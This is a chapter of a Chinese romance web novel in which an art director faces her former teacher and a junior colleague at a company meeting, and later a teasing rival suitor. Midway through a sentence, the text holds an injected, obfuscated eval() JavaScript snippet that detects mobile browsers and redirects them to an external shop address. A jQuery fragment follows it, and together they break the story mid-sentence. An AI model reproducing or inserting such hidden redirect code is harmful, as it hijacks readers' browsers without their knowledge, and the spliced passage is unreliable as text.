3. 京夜
    思来想去,她还是和赵易安坦白了。

    赵易安原本昏昏欲睡的整理画稿,听完这些逼话,她在那边闹的鸡犬不宁,她男朋友都被踹醒给她买可乐啤酒烧烤去了。

    “不是,严知希,你现在才和我说?”

    “简直了,和他妈小说剧情似的,容砚与不会隐忍喜欢你很久了吧?哎哟,想起你当学生的时候他都不认识温舒琳呢!该不会真是什么老套烂俗的红白玫瑰故事吧?”

    严知希觉得有赵易安在自己身边叽叽喳喳的很提神,索性也笑了下:“嗯,刚好温老师还是风情万种类型的,我是性冷淡。”

    赵易安在那边快笑死了。

    “挺变态挺渣的,有老婆还珍藏别的女孩的画卷,明明是你老师还让你送他回家。谁知道那天晚上是不是故意把画卷给你看的?不怪我阴暗,他自己老婆出轨了,心有不甘,才对你改了态度吧。”

    赵易安和严知希是大学同学,不同班不同系不同宿舍,相知机遇是两人都选修容砚与的课。

    稍微熟悉后,两人考研也都想在容砚与门下,但那一年只有严知希报上了。

    赵易安不服气,跑去问你们有内幕交易?严知希那时脾气比现在大得多,撩着眼皮就冷冷道,还没睡到呢。对自己自信的话,也去试试?

    赵易安惊了,觉得这人讲话拽的要命加不要脸,然后马不停蹄的跑来要和严知希深交。

    后来看见师生两的相处日常,赵易安就觉得,只要他想,任何异性释放信号都没用。

    因此现在,才确定,他绝对是故意的。

    “他那种人真想保持距离就不可能上来解释为啥和李乐宜说话……我真服了。”

    赵易安克制了下,没用什么太过分的词,毕竟她还不确定严知希的态度,聊到此处,索性问她:“那你现在怎么想的啊?你都暗恋这么多年了,要不干脆顺水推舟睡了就不遗憾了呗?”

    艺术圈都乱,赵易安更是唯严知希主义,她手机乱点着屏幕,顺手给严知希发了段别人做小三自甘下贱朋友做别被发现的文案。

    严知希听后,没什么情绪,道:“再说吧。”

    “别再说啊,严知希,你到底怎么想的啊?严知希啊,你做什么我都会无条件支持你的!”赵易安哎呀一声:“你身为我们松临有名的女神,至今没有谈过恋爱……外面都在传你是拉拉,对象还他妈是我哎!”

    严知希终于笑了声。

    她资料也整理的差不多了,看着画框旁静静躺着的香烟,语气也有几分无奈地说:“要是去年他主动发出信号,可能我会奋不顾身一把。”

    “但是?”

    “但是,”严知希起身,把那支香烟塞进口袋,脚步缓慢地走进卧室道:“我今天才突然想起来,我好像结婚了。”

    -

    赵易安整理东西是要去临市开会,干脆熬了个通宵走了。

    严知希今早去上班,就觉得,气氛挺奇怪的。

    盛美集团远远不止一个主业务,他们部门不算重视但年年都有高指标在。TUK正是年底最重要的博览交易会,因此严知希美术馆也不去了,连着几天在集团工作。

    一年有两百多天不在公司,相比其他常年留在公司的人,各项业务自然没那熟悉。

    今天去让工美部的员工打印自己,拖了四十分钟才给她送来时,她就觉得有点不对劲了。

    新员工不清楚自己的性格,但她职务履历摆在那里,最看重排资论辈的盛美不可能有人敢主动敷衍上司——

    严知希靠在办公桌上,单手抱臂,另一只手端着咖啡杯,冷眼看向单面玻璃的工位上,正巧笑倩兮与同事们一团和气的李乐宜。

    “容老师来了,开会吧!”“快快,今天就商量TUK具体落实负责人了,还要选形象大使呢!”

    “乐宜,容老师喊你!”“人来齐了吗?什么,严总监没来?那快去喊她啊!真服了。”

    严知希面无表情,随意拿了两张资料就进去了。

    入目,便是身边围绕女人的容砚与。

    他平日爱穿高定西服,今天却略有不同。向来一丝不苟的人竟然把外套脱了,露出里面紧绷整肃的西装马甲,紧绷,勾勒出他饱满的胸肌。

    大臂处还有枚精巧的暗红色秀箍,更显健壮。

    保持着温文尔雅的笑。

    在看见严知希进来的一瞬,眼神就轻搭过来。

    两人眼神相触一瞬,严知希就立刻移开视线。

    容砚与微愣。

    随后严知希走进,坐在十分靠前的位置上。

    “都入座吧,要开始了。”容砚与温和发话。

    等人都散的差不多了,容砚与突然道:“严总监,坐这儿来吧。”

    大家都看着他们,严知希头皮发麻,看着他指着自己身边的位置,沉默片刻,还是起身,落座。

    随后就开始由专人总结汇报,严知希心不在焉懒得听,过了许久,有人希望能让严总监上台开首。

    毕竟她才代表真正的权威。

    但严知希很明显心不在焉,本想直接拒绝,但看了眼今天无比老实的李乐宜,面无表情,直白开口。

    “李乐宜去开首吧。”

    被她突然喊到名字,李乐宜快吓死了。小心翼翼地观察她神情,但看到容教授在,她又安心几分。

    “我吗?”李乐宜笑起来:“以往都是知希姐姐开呀。”

    她是跳级加保送,年纪很小,加上长得漂亮嘴又甜,就是五十岁以上男男女女都喊哥哥姐姐。

    严知希没解释:“去吧。”

    ……李乐宜在暗处撇了下嘴。

    随后上台便落落大方,没有任何拘谨。

    她的方案一次比一次精进,同事都觉得这就是天赋美女顺风顺水的人生吧,进公司第一年就能破例加入TUK博览会项,看严总监和容教授的意思,估计要让她担任大梁。

    果不其然,下一瞬严总监就开始提问:“大框架的总结落脚点在哪?”

    李乐宜微愣,然后快速回答:“创意类IP形象,融合新科技元宇宙,同时与港澳台高校联动,在青年群体达到破圈效应。”

    嗯,不错的回答。

    回答了四个点,踩了她三个点。

    原本她想和华菁大学联动的,毕竟是她母校。

    严知希继续追问,态度其实算平和。众人看多了她那张一点讨好感都没有的无敌清丽司马脸其实也就习惯了,看着还挺亲切的。

    但是李乐宜越回答越胆战心惊。

    她问的问题其实非常专业且刁钻,内行听了觉得没有任何毛病,但李乐宜本人知道,她每个问题都是在对自己严刑拷打。

    或许是李乐宜心虚的太明显,众人终于觉得有什么不对的地方,开始窃窃私语。

    “所以,你这些天都在猛加细节,至于需要反复加深的主题主旨反而不在乎是吗?”严知希问到尾声,嗓音也冷了下来。

    李乐宜:“……虽然是细节,但历届艺术展都是靠无数的细节堆砌才能真实与虚幻,严总监,抱歉,主题主旨重要,但我同样认为细节不可忽视。”

    众人都惊了,乐宜在干什么

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13695002|144392||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,竟然敢顶撞严总监。

    容砚与看出两人情绪不大对劲,他沉吟片刻:“都重要,但是乐宜,TUK毕竟不是抒发自己灵感的私人画展。既要面向投资商,又要面向大众。”

    “严总监说的没错,框架主旨仍要认真对待。”

    李乐宜这些天靠着这份方案风光无限,先是被谢逢青夸,昨天又被容砚与表扬,今天还是首次被人当众批评。

    她委屈的眼都红了,立刻有人心疼地喊她:“乐宜……”“没事没事乐乐宝贝,回去姐姐再陪你打磨这份方案。”

    “严总监也太严厉了吧……谢大少爷和容教授都没说什么呢……”

    “你猜她为什么姓严哈哈哈,正常啦。我刚进来三天两头被她骂哭。”

    这趟会议因为容砚与有急事,所以结束的比较匆忙,严知希本想直接离开,但在临走时,她被旁边的人握住了手腕。

    掌心干燥温暖,茧很厚,那是常年握毛笔画笔的茧。动作不容置喙,强势,与他本人温润的形象截然不同。

    周遭都在盼望着离场散会,加上他们本就在最前排,因此没什么人看到。

    而严知希浑身僵硬了下,没回头,细嫩的肌肤开始发热,她挣脱了下,竟然很轻松的挣脱出来了。

    “聊聊吗?”

    他也站了起来,严知希能感受到身后传来温厚的声音,她抿唇,淡然道:“如果你想问我为什么针对李乐宜,那抱歉,老师,我不能说。”

    艺术圈内最忌讳就是事无定论就扑风捉影,灵感这种东西你有我也有,你有天赋昨晚缪斯还给我托梦了呢。

    在她细细揉腕骨时,容砚与缓慢道:“你知道我想聊的不是这个。”

    她知道?她为什么要知道?

    严知希笑了笑,转身,直视他的眼睛:“老师,太晚了。”

    这句话出来,其实,容砚与就知道她什么意思了。

    两人很少有这么长时间的眼神交流。早年间,严知希对他怀有心思,是隐蔽的,冷淡的,就算说给旁人听,大多数人也都是不太相信的。

    那可是严知希啊,纯无性恋真神女吧,还喜欢自己的老师?你当我们学艺术的都是苏格拉底柏拉图、亚里士多德啊?

    但是容砚与知道,自己在自后而虚虚环抱、握住她手掌,教她画画时,她身体微微的战栗,短促的呼吸,和离开时放松又惆然的叹息。

    她是喜欢的自己的。

    “太晚了。”容砚与也笑了声,“嗯,十点的飞机,我应该走了。”

    他又问:“能送我一程吗,小严。”

    语气温和,眼神却灼热,隐于暗处捏着文件的指骨略微泛白。

    严知希……听着容砚与这样温和到冷漠的人,在此刻近乎卑微的顺着她,改变词意,自给自的找台阶下。

    无论如何,也是她尊师长辈。

    “走吧。”

    她垂敛下眸,转身离去拉开会议厅的双开门,转而直接看见侧边正站着个光明正大偷听的人。

    他身量清瘦高挑,双手环抱。

    长腿就那么随意的微曲着。

    周遭都在极力克制八卦的窃窃私语,大家惊讶谢大少爷的突然来临,假装工作但不断的将眼神瞟过来——

    这人桃花眼冷厉精致,此刻抬头看向她,眼底倾泻出几分戏谑的调侃,嗓音不大正经地笑道:“打扰到您了,严总监,请问您是准备和容先生外出吗?”

    “不好意思,但是,能不能先把昨晚落下的烟先还给我呢,”谢逢青极其恶劣的学着叫了句缠绵悱恻的:“小严?”